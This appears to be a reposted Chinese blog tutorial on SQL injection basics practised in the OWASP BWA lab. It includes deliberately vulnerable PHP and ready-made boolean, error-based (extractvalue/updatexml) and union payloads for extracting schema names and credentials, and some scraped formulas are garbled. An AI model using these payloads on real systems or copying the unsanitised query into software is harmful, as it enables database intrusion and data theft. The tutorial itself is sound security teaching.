SQL 注入详解扫盲

栏目: 数据库 · 发布时间: 6年前

内容简介：本文并不是什么很深入的技术文章，带领大家学习 SQL 注入的基本知识。

实习期间的主要工作还是研究 WEB 安全，编程语言是 Python，常用到正则表达式，对 HTTP 的协议也非常清晰。

刚过来的时候，研究的主要是 SQL 注入，因为之前没有搞过安全，所有费了好长一段时间学习 SQL 注入的基本知识。这篇文章并不是什么很深入的技术文章，或许应该叫它‘ SQL注入扫盲 ’。

关于 SQL Injection

SQL Injection 就是通过把恶意的 SQL 命令插入到 Web 表单让服务器执行，最终达到欺骗服务器或数据库执行恶意的 SQL 命令。

学习 SQL 注入，首先要搭一个靶机环境，我使用的是 OWASP BWA，感兴趣的可以去官网下载一个安装，除了 SQL 注入，很多靶机环境都可以在 BWA 中找到，它专门为 OWASP ZAP 渗透工具设计的。

$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);

$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

这是一个很简单的 PHP 代码，从前台获得 id 的值，交给数据库来执行，把结果返回给前台。

比如我们在 OWASP 里输入 id = 1，点击 Submit，返回结果如下：

SQL 注入详解扫盲

稍微懂一点后台或者数据库的人都知道，上面的那段代码是有严重问题的，没有对 id 的值进行有效性、合法性判断。也就是说，我们在 submit 输入框输入的如何内容都会被提交给数据库执行，比如在输入框输入1' or '1'='1，执行就会变成：

//原先要在数据库中执行的命令
SELECT first_name, last_name FROM users WHERE user_id = '1'
//变成
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

//原先要在数据库中执行的命令

SELECT first_name, last_name FROM users WHERE user_id = '1'

//变成

SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

注意一下单引号，这是 SQL 注入中非常重要的一个地方，所以注入代码的最后要补充一个 '1'='1让单引号闭合。

由于 or 的执行，会把数据库表 users 中的所有内容显示出来，

SQL 注入详解扫盲

下面对三种主要的注入类型进行介绍。

Boolean-based 原理分析

首先不得不讲SQL中的AND和OR
AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
AND:返回第一个条件和第二个条件都成立的记录。
OR:返回满足第一个条件或第二个条件的记录。
AND和OR即为集合论中的交集和并集。
下面是一个数据库的查询内容。

mysql> select * from students;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

mysql> select * from students;

+-------+-------+-----+

| id | name | age |

+-------+-------+-----+

| 10056 | Doris | 20 |

| 10058 | Jaune | 22 |

| 10060 | Alisa | 29 |

+-------+-------+-----+

3 rows in set (0.00 sec)

mysql> select * from students where TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

mysql> select * from students where TRUE ;

+-------+-------+-----+

| id | name | age |

+-------+-------+-----+

| 10056 | Doris | 20 |

| 10058 | Jaune | 22 |

| 10060 | Alisa | 29 |

+-------+-------+-----+

3 rows in set (0.00 sec)

mysql> select * from students where FALSE ;
Empty set (0.00 sec)

1 2	mysql> select * from students where FALSE ; Empty set (0.00 sec)

mysql> SELECT * from students where id = 10056 and TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
+-------+-------+-----+
1 row in set (0.00 sec)

mysql> SELECT * from students where id = 10056 and TRUE ;

+-------+-------+-----+

| id | name | age |

+-------+-------+-----+

| 10056 | Doris | 20 |

+-------+-------+-----+

1 row in set (0.00 sec)

mysql> select * from students where id = 10056 and FALSE ;
Empty set (0.00 sec)

1 2	mysql> select * from students where id = 10056 and FALSE ; Empty set (0.00 sec)

mysql> selcet * from students where id = 10056 or TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

mysql> selcet * from students where id = 10056 or TRUE ;

+-------+-------+-----+

| id | name | age |

+-------+-------+-----+

| 10056 | Doris | 20 |

| 10058 | Jaune | 22 |

| 10060 | Alisa | 29 |

+-------+-------+-----+

3 rows in set (0.00 sec)

mysql> select * from students where id = 10056 or FALSE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
+-------+-------+-----+
1 row in set (0.00 sec)

mysql> select * from students where id = 10056 or FALSE ;

+-------+-------+-----+

| id | name | age |

+-------+-------+-----+

| 10056 | Doris | 20 |

+-------+-------+-----+

1 row in set (0.00 sec)

会发现and 1=1 , and 1=2 即是 and TRUE , and FALSE 的变种。
这便是最基础的boolean注入,以此为基础你可以自由组合语句。

字典爆破流

and exists(select * from ?)     //?为猜测的表名
and exists(select ? from x)     //?为猜测的列名

1 2	and exists(select * from ?) //?为猜测的表名 and exists(select ? from x) //?为猜测的列名

截取二分流

and (length((select schema_name from information_schema.schemata limit 1))>?)       //判断数据库名的长度
and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')
and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?')      //利用二分法判断第一个字符

and (length((select schema_name from information_schema.schemata limit 1))>?) //判断数据库名的长度

and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')

and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?') //利用二分法判断第一个字符

Boolean-based总结

根据前面的介绍，我们知道，对于基于Boolean-based的注入，必须要有一个可以正常访问的地址，比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一个可以正常访问的记录，说明id=1的记录是存在的，下面的都是基于这个进一步猜测。先来判断一个关键字keyword的长度，在后面构造id=1 and (select length(keyword) from table)=1，从服务器我们会得到一个返回值，如果和先前的返回值不一样，说明and后面的(select length(keyword) from table)=1返回false，keyword的长度不等于1。继续构造直到id=1 and (select length(keyword) from table)=15返回true，说明keyword的长度为15。

为什么我们刚开始一定要找一个已经存在的id，其实这主要是为了构造一个为真的情况。Boolean-based就是利用查询结果为真和为假时的不同响应，通过不断猜测来找到自己想要的东西。

对于keyword的值，mysql数据库可以使用substr(string, start, length)函数，截取string从第start位开始的length个字符串id=1 and (select substr(keyword,1,1) from table) =’A’，依此类推，就可以获得keyword的在数据库中的值。
Boolean-based的效率很低，需要多个请求才能确定一个值，尽管这种代价可以通过脚本来完成，在有选择的情况下，我们会优先选择其他方式。

Error Based 原理分析

关于错误回显

基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上。

所用到的函数

count() 统计元祖的个数（相当于求和）
如select count(*) from information_schema.tables;  

rand()用于产生一个0~1的随机数  

floor()向下取整  

group by 依据我们想要的规矩对结果进行分组  

concat将符合条件的同一列中的不同行数据拼接，以逗号隔开

count() 统计元祖的个数（相当于求和）

如select count(*) from information_schema.tables;

rand()用于产生一个0~1的随机数

floor()向下取整

group by 依据我们想要的规矩对结果进行分组

concat将符合条件的同一列中的不同行数据拼接，以逗号隔开

用于错误回显的sql语句

第一种：基于 rand() 与 group by 的错误

利用group by part of rand() returns duplicate key error这个bug，关于rand()函数与group by 在 mysql 中的错误报告如下：

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

这个bug会爆出duplicate key这个错误，然后顺便就把数据偷到了。
公式：username=admin’ and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and ‘1’ = ‘1

第二种： XPATH爆信息

这里主要用到的是ExtractValue()和UpdateXML()这2个函数，由于mysql 5.1以后提供了内置的XML文件解析和函数，所以这种注入只能用于5.1版本以后使用

查看sql手册

语法：EXTRACTVALUE (XML_document, XPath_string);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。

语法：EXTRACTVALUE (XML_document, XPath_string);

第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc

第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。

作用：从目标XML中返回包含所查询值的字符串

语法:UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。
第三个参数：new_value，String格式，替换查找到的符合条件的数据

语法:UPDATEXML (XML_document, XPath_string, new_value);

第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc

第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。

第三个参数：new_value，String格式，替换查找到的符合条件的数据

作用：改变文档中符合条件的节点的值

现在就很清楚了，我们只需要不满足XPath_string(Xpath格式)就可以了，但是由于这个方法只能爆出32位，所以可以结合mid来使用
公式1：username=admin’ and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and ‘1’=’1
公式2：username=admin’ and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and ‘1’=’1

基于错误回显的注入，总结起来就一句话，通过sql语句的矛盾性来使数据被回显到页面上，但有时候局限于回显只能回显一条，导致基于错误的注入偷数据的效率并没有那么高，但相对于布尔注入已经提高了一个档次。

union query injection

要了解union query injection，首先得了解union查询，union用于合并两个或更多个select的结果集。比如说

SELECT username, password FROM account;

1	SELECT username, password FROM account;

结果是

admin 123456

SELECT id, title FROM article

1	SELECT id, title FROM article

的结果是

1 Hello, World

SELECT username, password FROM account
UNION 
SELECT id, title FROM article

SELECT username, password FROM account

UNION

SELECT id, title FROM article

的结果就是

admin 123456

1 Hello, World

比起多重嵌套的boolean注入，union注入相对轻松。因为，union注入可以直接返回信息而不是布尔值。前面的介绍看出把union会把结果拼拼到一起，所有要让union前面的查询返回一个空值，一般采用类似于id=-1的方式。

mysql> select name from students where id = -1 union select schema_name from information_schema.schemata;   //数据库名  
+--------------------+
| name               |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| rumRaisin          |
| t3st               |
| test               |
+--------------------+
6 rows in set (0.00 sec)

mysql> select name from students where id = -1 union select schema_name from information_schema.schemata; //数据库名

+--------------------+

| name |

+--------------------+

| information_schema |

| mysql |

| performance_schema |

| rumRaisin |

| t3st |

| test |

+--------------------+

6 rows in set (0.00 sec)

mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st';    //表名
+----------+
| name     |
+----------+
| master   |
| students |
+----------+
2   rows in set (0.00 sec)

mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st'; //表名

+----------+

| name |

+----------+

| master |

| students |

+----------+

2 rows in set (0.00 sec)

mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ;     //列名
+------+
| name |
+------+
| id   |
| name |
| age  |
+------+
3 rows in set (0.00 sec)

mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ; //列名

+------+

| name |

+------+

| id |

| name |

| age |

+------+

3 rows in set (0.00 sec)

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意，UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时，每条 SELECT 语句中的列的顺序必须相同。

举个例子，还以最开始的 OWASP 为基础，返回了两个值分别是 first_name 和 sur_name，可想而知，服务器在返回数据库的查询结果时，就会把结果中的第一个值和第二个值传给 first_name 和 sur_name，多了或少了，都会引起报错。

所以你如果想要使用union查询来进行注入，你首先要猜测后端查询语句中查询了多少列，哪些列可以回显给用户。

猜测列数

-1 union select 1
-1 union select 1,2
-1 union select 1,2,3
//直到页面正常显示

-1 union select 1

-1 union select 1,2

-1 union select 1,2,3

//直到页面正常显示

比如这条语句

-1 UNION SELECT 1,2,3,4

1	-1 UNION SELECT 1,2,3,4

如果显示的值为3和4，表示该查询结果中有四列，并且第三列和第四列是有用的。则相应的构造union语句如下

-1 UNION SELECT 1,2,username,password FROM table

1	-1 UNION SELECT 1,2,username,password FROM table

小结一下

SQL 注入大概有5种，还有两种分别是 Stacked_queries(基于堆栈)和 Time-based blind(时间延迟)，堆栈就是多语句查询，用 ‘;’ 把语句隔开，和 union 一样；时间延迟就是利用 sleep() 函数让数据库延迟执行，偷数据的速度很慢。(还有一个第六种，内联注入，但和前面涉及的内容有所重叠，就不单独来讨论了)

引用说明，自己之前研究 SQL 注入的时候，也是一点一点摸索的，本博客的大部分内容是来自于公司内网的服务器中(公司定期考核，看你都干了什么)。当时因为是内网，就没有做引用，现在想找到这些引用的文章也很困难，见谅。

原文出处：渔人

以上所述就是小编给大家介绍的《SQL 注入详解扫盲》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对码农网的支持！

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